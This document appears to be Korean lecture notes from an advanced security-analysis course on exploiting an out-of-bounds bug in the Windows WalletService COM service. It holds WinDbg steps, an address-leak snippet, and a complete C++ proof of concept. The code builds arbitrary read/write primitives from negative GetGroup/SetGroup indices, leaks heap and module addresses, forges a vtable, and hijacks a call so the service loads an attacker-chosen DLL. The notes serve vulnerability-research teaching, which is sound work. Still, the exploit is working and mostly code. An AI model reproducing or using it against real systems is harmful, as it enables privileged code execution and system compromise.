# 정보분석 심화과정
- ComBasic(https://shorturl.at/wjLtt
- 강의 교재(https://drive.google.com/file/d/1MiAVA-rGWkjd2x9bir155kM76CXgUaGl/view?usp=sharing)
## Out of Bound
```clike=
int arr[10] = {};
arr[20] = 4;
// buffer address + sizeof(int) * 7 = 4
```
1. 00.POC 내용 빌드
2. x64\poc.exe 실행 후 대기
3. 관리자 권한 cmd에서 windbg -psn WalletService
```
0:004> x WalletService!*CreateWalletItem*
00007ffe`e81ae926 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$6 (void)
00007ffe`e81ae938 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$7 (void)
00007ffe`e81ae7cc walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$4 (void)
00007ffe`e81ae914 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$5 (void)
00007ffe`e81ae816 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$2 (void)
00007ffe`e81ae902 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$3 (void)
00007ffe`e81ae8de walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$0 (void)
00007ffe`e81ae8f0 walletservice!`Wallet::WalletPackageProcessor::FindOrCreateWalletItem'::`1'::dtor$1 (void)
00007ffe`e8197504 walletservice!Wallet::WalletPackageProcessor::FindOrCreateWalletItem (public: static long __cdecl Wallet::WalletPackageProcessor::FindOrCreateWalletItem(class ATL::CComPtr<struct IXmlReader>,int,int &,int &,class ATL::CComPtr<struct IWalletItem> &))
00007ffe`e81925c0 walletservice!Wallet::WalletX::CreateWalletItem (publ
```
```
bp 00007ffe`e81925c0
g
```
poc.exe 에 가서 엔터를 입력하여 나머지 코드가 실행되도록 함
x64 윈도우 Calling Convention
rcx rdx r8 r9 rsp(stack)
SetGroup 메소드가 잘 호출되는지, 호출됐을 때 인자도 잘 들어갔는지 보고싶다
- `x WalletService!*SetGroup*` 실행하여 SetGroup 메소드의 주소 획득
- `bp [위에서 구한 주소]` 실행하여 브레이크 포인트 생성
- 클라이언트 프로그램에서 setgroup이 호출되면, walletservice의 breakpoint가 hit
- r 입력 시 레지스터 정보 확인 가능, windows의 Calling Convention을 참고하여 입력 인자 확인
## Leak
```clike=
uint32_t high;
uint32_t low;
obj2->GetGroup(-4, &high, &low);
uint64_t addr = low;
addr += (uint64_t)high << 32;
addr -= 0x60;
printf("%llx\n", addr);
```
##
```clike=
#include "pch.h"
class __declspec(uuid("21f1a452-9759-48a5-8d9b-bbd859ef89ee")) IWalletCustomProperty : public IUnknown {
public:
virtual HRESULT __stdcall GetLabel(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall SetLabel(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall GetValue(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall SetValue(struct tagPROPVARIANT* p0);
virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0);
virtual HRESULT __stdcall GetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t* v1, uint32_t* v2);
virtual HRESULT __stdcall SetGroup( /* ENUM32 */ uint32_t idx, /* ENUM32 */ uint32_t v1, uint32_t v2);
};
class __declspec(uuid("16083582-9360-4758-8978-46970ae14999")) IWalletItem : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(int64_t* p0);
virtual HRESULT __stdcall Proc4( /* ENUM32 */ uint32_t* p0, int64_t p1, int64_t* p2);
virtual HRESULT __stdcall Proc5( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall Proc6( /* ENUM32 */ uint32_t p0, struct Struct_97* p1);
virtual HRESULT __stdcall Proc7( /* ENUM32 */ uint32_t p0, struct Struct_97* p1);
virtual HRESULT __stdcall Proc8( /* ENUM32 */ uint32_t p0, int64_t* p1);
virtual HRESULT __stdcall Proc9( /* ENUM32 */ uint32_t p0, int64_t* p1);
virtual HRESULT __stdcall CreateCustomProperty(IWalletCustomProperty** p0);
virtual HRESULT __stdcall Proc11(wchar_t* p0, IWalletCustomProperty** p1);
virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletCustomProperty* p1);
virtual HRESULT __stdcall Proc13(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t* p3);
virtual HRESULT __stdcall Proc14(wchar_t* p0, struct Struct_97* p1, struct Struct_97* p2, /* ENUM32 */ uint32_t p3);
virtual HRESULT __stdcall Proc15(VARIANT* p0);
virtual HRESULT __stdcall Proc16( /* ENUM32 */ uint32_t p0, VARIANT* p1);
virtual HRESULT __stdcall Proc17(int64_t* p0);
virtual HRESULT __stdcall Proc18();
virtual HRESULT __stdcall Proc19( /* ENUM32 */ uint32_t p0);
virtual HRESULT __stdcall Proc20(IWalletItem* p0);
virtual HRESULT __stdcall Proc21( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall Proc22(int64_t* p0);
};
class __declspec(uuid("14ff27de-1dc9-4617-8ed3-9a042d52391f")) IWalletItemList : public IUnknown {
public:
virtual HRESULT __stdcall HasPendingChanges( /* ENUM32 */ uint32_t* p0);
virtual HRESULT __stdcall GetItemCount(ULONG* p0);
virtual HRESULT __stdcall GetItemAt(int64_t p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc6(int64_t p0);
virtual HRESULT __stdcall Proc7(int64_t p0, int64_t* p1);
virtual HRESULT __stdcall Proc8(int64_t p0, int64_t* p1);
virtual HRESULT __stdcall Proc9(int64_t p0, /* ENUM32 */ uint32_t* p1);
virtual HRESULT __stdcall Proc10(IWalletItemList* p0);
};
class __declspec(uuid("fe8a7c3d-a504-4c31-81ec-d8ec8d9fa6b7")) IWalletTransactionManager : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1);
virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc5(int64_t* p0);
virtual HRESULT __stdcall Proc6(int64_t p0);
virtual HRESULT __stdcall Proc7(int64_t p0);
};
class __declspec(uuid("c5b00653-be27-41f2-b669-d780698f8d9d")) IWalletLocationManager : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(int64_t p0, IWalletItemList** p1);
virtual HRESULT __stdcall Proc4(IWalletItem* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc5(int64_t* p0);
virtual HRESULT __stdcall Proc6(int64_t p0);
virtual HRESULT __stdcall Proc7(int64_t p0);
virtual HRESULT __stdcall Proc8();
virtual HRESULT __stdcall Proc9(int64_t* p0);
virtual HRESULT __stdcall Proc10();
virtual HRESULT __stdcall Proc11();
};
class __declspec(uuid("b9860518-0cdf-4dba-a981-807f3cbdc80a")) IWalletX : public IUnknown {
public:
virtual HRESULT __stdcall Proc3(IWalletItemList** p0);
virtual HRESULT __stdcall Proc4(IWalletItemList** p0);
virtual HRESULT __stdcall Proc5(wchar_t* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc6();
virtual HRESULT __stdcall Proc7(IWalletTransactionManager** p0);
virtual HRESULT __stdcall Proc8(IWalletLocationManager** p0);
virtual HRESULT __stdcall Proc9(IWalletItem* p0, /* ENUM32 */ uint32_t p1);
virtual HRESULT __stdcall Proc10(int64_t p0, int64_t* p1);
virtual HRESULT __stdcall CreateWalletItem( /* ENUM32 */ uint32_t p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc12(wchar_t* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc13(int64_t p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc14(IWalletItem* p0);
virtual HRESULT __stdcall Proc15(IWalletItem* p0, wchar_t* p1);
virtual HRESULT __stdcall Proc16(IWalletItem* p0, /* ENUM32 */ uint32_t* p1);
virtual HRESULT __stdcall Proc17(IWalletItem* p0, int64_t p1);
virtual HRESULT __stdcall Proc18(wchar_t* p0, IWalletItem** p1);
virtual HRESULT __stdcall Proc19(wchar_t* p0);
};
IWalletX* obj;
IWalletItem* obj1;
IWalletCustomProperty* obj2, * obj3;
ULONG64 heap;
int PrintError(unsigned int line, HRESULT hr)
{
wprintf_s(L"ERROR: Line:%d HRESULT: 0x%X\n", line, hr);
return hr;
}
void write(size_t addr, void* buf, UINT size = 8) {
uint32_t num1 = addr & 0xffffffff,
num2 = addr >> 32,
backup, nouse;
if (num2 == -1 || num1 == 0x20)
{
puts("error addr, try again");
exit(-1);
}
obj2->GetGroup(-9, &backup, &nouse);
obj2->SetGroup(-9, backup, num1);
obj2->GetGroup(-8, &nouse, &backup);
obj2->SetGroup(-8, num2, backup);
addr = -1;
num1 = addr & 0xffffffff;
num2 = addr >> 32;
obj2->GetGroup(-7, &backup, &nouse);
obj2->SetGroup(-7, backup, num1);
obj2->GetGroup(-6, &nouse, &backup);
obj2->SetGroup(-6, num2, backup);
tagPROPVARIANT input;
input.vt = 8;
input.bstrVal = SysAllocStringLen((const OLECHAR*)buf, size);
obj2->SetLabel(&input);
}
char* read(size_t addr, size_t size = 8) {
uint32_t num1 = addr & 0xffffffff,
num2 = addr >> 32,
backup, backup1, nouse;
char* buf = new char[size + 1]{ 0 }, * p = buf;
obj2->GetGroup(-9, &backup, &nouse);
obj2->GetGroup(-8, &nouse, &backup1);
for (size_t i = 0; i < size; i++) {
obj2->SetGroup(-9, backup, num1++);
obj2->SetGroup(-8, num2, backup1);
tagPROPVARIANT input;
input.vt = 8;
input.bstrVal = 0;
obj2->GetLabel(&input);
*p++ = *(char*)input.bstrVal;
}
return buf;
}
DWORD poc(LPVOID dllpath)
{
CoInitializeEx(NULL, COINIT_MULTITHREADED);
HRESULT hr;
CLSID clsid;
IID iid;
CLSIDFromString(OLESTR("{97061DF1-33AA-4B30-9A92-647546D943F3}"), &clsid);
IIDFromString(OLESTR("{b9860518-0cdf-4dba-a981-807f3cbdc80a}"), &iid);
hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&obj);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
hr = obj->CreateWalletItem(1, &obj1);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
hr = obj1->CreateCustomProperty(&obj2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
for (int i = 0; i < 10; i++)
hr = obj1->CreateCustomProperty(&obj3);
uint32_t out1, out2;
heap = 0;
hr = obj2->GetGroup(-13, &out1, &out2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
heap = out2;
hr = obj2->GetGroup(-12, &out1, &out2);
if (FAILED(hr)) { PrintError(__LINE__, hr); }
heap += (ULONG64)out1 << 32;
printf("heap @ 0x%llx\n", heap); // heap
printf("WalletCustomProperty @ 0x%llx\n", heap - 0x20);
//-----------------------------------------------
size_t walletservice = (size_t)LoadLibrary(L"walletservice.dll");
size_t dxgi = (size_t)LoadLibrary(L"dxgi.dll");
size_t dxgi_environ = 0xC5E68 + dxgi;
size_t dxgi_environ_length = 0xC5E80 + dxgi;
printf("dxgi_environ @ %llx\n", dxgi_environ);
printf("dxgi_environ_length @ %llx\n", dxgi_environ_length);
size_t FakeVTBuf = 0x66EB0 + walletservice - 0x500; // read / writable memory in WalletService
size_t NeedFlagBuf = 0x66F30 + walletservice - 0x500;
size_t myenviron = 0x66F38 + walletservice - 0x500;
printf("FakeVTBuf @ %llx\n", FakeVTBuf);
printf("NeedFlagBuf @ 0x%llx\nwill_call: 0x%llx\n", NeedFlagBuf, dxgi + 0x011D00);
printf("myenviron @ %llx\n", myenviron);
write(myenviron, (void*)dllpath, wcslen((const wchar_t*)dllpath) + 1);
size_t fakevtable_start = FakeVTBuf;
size_t fakevtable[] = {
0x4141414141,
0x4141414142,
0x4141414143,
dxgi + 0x011D00
};
size_t tmp;
for (auto i : fakevtable) {
tmp = i;
write(fakevtable_start, &tmp, 8);
fakevtable_start += 8;
}
tmp = NeedFlagBuf - 0x174;
write(heap + 0x60, &tmp, 8);
tmp = 1;
write(NeedFlagBuf, &tmp, 8);
tmp = myenviron;
write(dxgi_environ, &tmp, 8);
tmp = 0x530;
write(dxgi_environ_length, &tmp, 4);
write(dxgi_environ_length + 0xc, &tmp, 8);
write(heap - 0x20, &FakeVTBuf, 8); // this's vtable is currupted
uint32_t ac = 1;
tagPROPVARIANT t = { };
hr = obj2->GetLabel(&t); // call dxgi!ATL::CComObject<CDXGIAdapter>::`vector deleting destructor
if (FAILED(hr)) { PrintError(__LINE__, hr); }
puts("Done!");
while (1) {} // hang
return 0;
}
int wmain(int argc, wchar_t** argv) {
if (argc != 2) {
printf("usage: %ws .dll(Absolute_path)\n", argv[0]);
exit(0);
}
poc(argv[1]);
}
```